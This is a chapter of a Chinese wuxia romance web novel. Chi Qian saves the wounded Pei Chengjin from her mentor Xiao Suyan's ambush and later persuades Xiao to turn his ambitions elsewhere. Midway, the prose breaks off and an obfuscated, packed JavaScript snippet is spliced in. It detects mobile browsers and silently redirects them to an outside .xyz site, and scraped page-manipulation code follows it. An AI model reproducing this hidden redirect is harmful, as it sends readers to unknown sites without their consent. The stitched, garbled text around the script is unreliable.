可萧宿言却不为所动,池浅看着裴承谨就要撑不住了,他重重喘息着,每一次挥剑力道都很沉重。
看得出来,他这是要没力气了。
池浅抹了抹泪,“你不要让我看不起你,如果他今天死在这里了,我一辈子都不会原谅你。”
对面的萧宿言一愣,他也红了眼眶,上前抓住池浅的肩膀,“明明是我先在你身边的,为何你爱他不爱我!?”
池浅挣扎着甩开他,冷声道:“我不会让你杀了他,要么你住手,要么我与寂灭堂为敌,萧宿言你选一个。”
萧宿言看清池浅眸子里的那份坚定,只得抬手,示意下面的人住手。
秦清见状,赶紧上前止住了打斗,带回了寂灭堂的人。
池浅见寂灭堂停手了,就要下去。
她运着轻功往下跳。
忽然回头对萧宿言道:“这是最后一次,萧宿言,要是再有一次,我们之间恩断义绝。”
她指的是自己利用她对付裴承谨。
高台之上,萧宿言就那么看着原本只属于他的池浅走向了别人。
难道他真的错了吗,他只是想活下去,但他要想活下去不就得用尽手段吗。
萧宿言原以为池浅会是和他一样的人,她今天却说自己卑劣。
可他们不是一直活在污泥里吗。
池浅很慌,她的步子乱了,待她看清裴承谨时,他脸上满是血迹。
他强撑着在等池浅走进,声音很小地朝她喊了句“浅浅。”
他说完就要朝前倒下,池浅快速上前接住他。
瞬时,他整个人倒在池浅怀里,池浅有些守不住他的力,抱着他直直跪在了地上。
双手触及到裴承谨的瞬间感觉黏腻腻的,她是杀手,自然知道那黏腻的手感来源是什么。
她忘了反应,却听见抵在自己肩上的裴承谨说:“我...还以为你真的要去杀刘桓呢......”
池浅眼泪控制不住地往下砸,她紧紧抱着裴承谨,她有些怕,真的有些怕。
她怕裴承谨会像昔柔一样,就这么死在自己怀里。
听见他的解释,池浅猛猛摇头,“我没有要杀他。”
她问:“你来之前不知道去找一趟我吗?”
他喉咙里挤出来两个字,“忘了......”
因为很着急,所以忘了。
“对不起。”池浅感觉她也要呼吸不过来了。
她不知道裴承谨是怎么把自己搞成这副样子的,他出来时怎么连影灼都不带。
如果带了影灼,或许也不会这样。
池浅:“为什么连影灼都不带?”
可身后却没有传来声音,池浅害怕地朝自己裴承谨看去,他早已双目紧闭。
池浅犹豫着晃了晃他,“裴承谨?”
肩上的人微微睁眼,虚弱极了,“怕打草惊蛇。”
“其实......我不是真的......要谷枝去和亲的。”
池浅吸了一口气,点了头,“我知道。”
裴承谨整个人失了力,压在池浅身上,他靠在池浅肩上,只觉得困极了,他想睡觉,可他又觉得池浅在哭。
他不知道她是不是在因为自己哭,他想哄她的,却连抬手的力气都没了。
模糊见,他好像听到了马车的声音。
池浅看着渐行渐近的马车,她知道那是影灼他们来了。
终于,马车停下,影灼和影都坐在马车的两边,看见满身是血的裴承谨都吓了一跳。
谷枝感受到马车停了,也跳下来,只是看到池浅抱着受伤的裴承谨愣在了原地。
“怎么会伤得这么重?”影灼上前接过压在池浅身上的裴承谨,他昨天根本就没注意,只一会儿的功夫裴承谨就不见了人。
他们正要出门去找人呢,黎黎就急匆匆赶来说裴承谨中了萧宿言的计要他们赶紧去沧州接人。
来不及多想,影灼立马就牵了辆马车,带上影都和谷枝就来了。
他往池浅身后看去,早已空无一人,秦清和萧宿言已经带着寂灭堂的人走出去好一段距离了。
谷枝见状上前替裴承谨把了个脉,眉头蹙起,这情况有点危险。
也不知道她从哪里搞出一枚药,直接塞进了裴承谨嘴里。
谷枝愤愤不平,她就知道昨天晚上萧宿言平白无故登门来找裴承谨不对劲,果然就是一个巨大的坑。
“我就说那小人怎么还有心思来找殿下!同他合作真是脏了咱们!”
池浅却无心管谷枝怎么抱怨,她只问,“你刚刚给他把脉,情况怎么样?”
谷枝朝池浅看去,她的身上也染了大片的血,只剩了那一张清冷的脸是白净的,只是那脸上也看出了些疲惫和......泪痕吗?
“不太好,得尽快回上京找宫里的太医了。”谷枝道。
影灼听了,立马就要把裴承谨扶上马车,他整个人好像已经没了知觉,影都早已把马车的帷幔拉了起来。
两个人动作十分默契地把裴承谨扶上了马车。
池浅看到裴承谨满身是伤,生出些愧疚,如果萧宿言不是拿她做诱饵,裴承谨根本就不会来这,更不会受这么莫名其妙的伤。
她有些不清楚了,她从不曾意识到,自己真的会在乎裴承谨的生死。
究竟是因为他的生死会是因为自己,还是自己在乎的根本就是他的生死。
脑子里忽然想起谷枝曾经和她说过的话。
“人的脑子是控制不住自己的心的。”
谷枝忽然问:“池浅,你看上去也很憔悴,要不和我们一起回京吧?”
她这一声问,把池浅的思绪拉了回来。
她开口就只问:“他会没事吗?”
谷枝看出池浅的担心,安慰道:“应该没事,我刚刚给他吃了个药,情况能控制一下,剩下的交给太医应该就没事了。”
又看见池浅这被血染红的衣服,谷枝干脆直接拉过她,“你这样也没办法自己回去,你还是和我们一起走吧。”
可池浅却挣开谷枝的手,“不用了,你们自己回去吧。”
“诶,可是......”
谷枝话还没有说完,池浅就已经绕过他们走了。
影灼皱眉看了一眼池浅,又看了眼躺在马车里血流不止的裴承谨,立马牵起马车的缰绳,对谷枝道:“算了,现在去宫里给殿下找太医要紧。”
谷枝想了想,最后还是没再去管池浅,自己上了马车。
*
秦清能感受到萧宿言心情极为不好,是因为自己的背叛也是池浅早已心属他人。
她把人散了,走到萧宿言身边。
“为什么?”
他问。
问的是为什么要把这次的计划告诉池浅。
秦清静了会儿,“不管裴世子怎么样,但他对池浅的感情真挚,公子不该利用这份感情。”
萧宿言却不屑极了,“你和阿浅倒是默契,说的话都一样。”
听到这这话的秦清愣了一下,她没有想过池浅会和萧宿言说这样的话。
良久之后,萧宿言又低低说着:“她今天和我说,她爱裴承谨。”
秦清不知道他这是和他自己说话还是在和她说话。
“可是明明最先出现的是我......”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15967037|166026||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>秦清:“这世上大部分事情都分先来后到,但偏偏在感情上不分。”
夜风袭来,吹得人清醒了些,风带着秦清的话有些轻飘飘的,萧宿言听了轻笑一声。
又问:“你现在看我是不是很可笑?”
“公子指什么,是今天你杀裴世子的事还是池浅不喜欢你?”
萧宿言移开了眼,周围的灌木丛被风吹得发出沙沙的声音,其实他也不知道自己指的是哪个,可能都有吧。
秦清见他不说话,继续道:“如果公子指的是今晚你杀裴世子的事,那确实有些可笑。”
“你应该能想象到,今晚要是裴承谨死了,池浅和你别说可能了,可能你们之间这师徒的情分也会彻底斩断。”
“但公子要是问的是池浅不喜欢你这件事,我觉得并不可笑。”
萧宿言看向秦清,她抱臂立在一旁,“公子已经做了自己能做到的所有,这就够了,至于池浅,人非物,她亦有选择的权利。”
“公子你,确实称不上什么好人,但你对阿浅的心,日月可鉴,任何人的真心都不应是可笑的,也包括宿言公子。”
秦清说完,萧宿言低下头长叹了一口气。
他想,最开始时,他和秦清池浅明明都是深陷泥沼,原本以为他们三个应该一辈子都会陷在那肮脏的泥沼里。。
可现在一看,那泥沼里好像只剩自己了,秦清和池浅不知道什么时候已经挣脱了困住她们的污泥。
应该是要为两个姑娘高兴的,可他心底却也还沉沉的压着些什么。
萧宿言突然感觉,自己的身后好像真的要空无一人了。
等他再次抬头时,池浅不知道什么时候出现在了眼前。
她月白的衣裳,本应该洁白无瑕,可前面是一片血染成的红色,看到这样的池浅,萧宿言莫名有些心虚。
怔愣一会儿,他以为池浅会陪着裴承谨。
他回了神,自嘲着说了第一句话:“我还以为你这辈子都不会想见像我这样卑劣不堪的人。”
池浅走近后却说:“师父卑劣不堪,可我从小也受了你这样卑劣的人不少照拂。”
萧宿言又是一愣。
突然,池浅凝了凝神。“我来,也只是希望你能看得明白些。”
“?”
池浅知道,或许一开始的萧宿言争权夺利是想活下去,可现在,他的行为早就在不知不觉间变了性质。
她直接问道:“你觉得,裴靖现在对付刘桓抑制相权为的是再培养一个刘桓吗?”
“或者,有想过你和端王府这样争,真正的既得利益者是谁吗?”
“不会是刘桓也不会是裴文远,而是他裴靖。”
池浅眸子清亮,“不论最后寂灭堂的结局是输是赢,师父都不会是最后的掌权者。”
秦清抱臂看见一旁的萧宿言微微动了动,她也才反应过来,这些年的萧宿言早就变得激进。
只要是碰到有关端王的事情,他总是想着能一招制敌。
因为感受到了权力带来的尊荣,所以变得越来越贪心,直到某一天,什么时候被蒙蔽了心都不知道。
萧宿言也渐渐意识到裴靖并不像看上去的那样简单,就像池浅说的那样,他和裴文远争权争了这么些年,受益的只有裴靖。
池浅弯唇笑了笑,“所以,师父,现在你手里握着的那把刀不该对着裴文远,而应该对着刘桓和西羌。”
萧宿言哑然,池浅说的有理,作为她的师父有些时候还不如池浅看得透。
良久,他才说,“多谢。”
“?”
萧宿言笑着说:“多谢你还愿意认我这个师父。”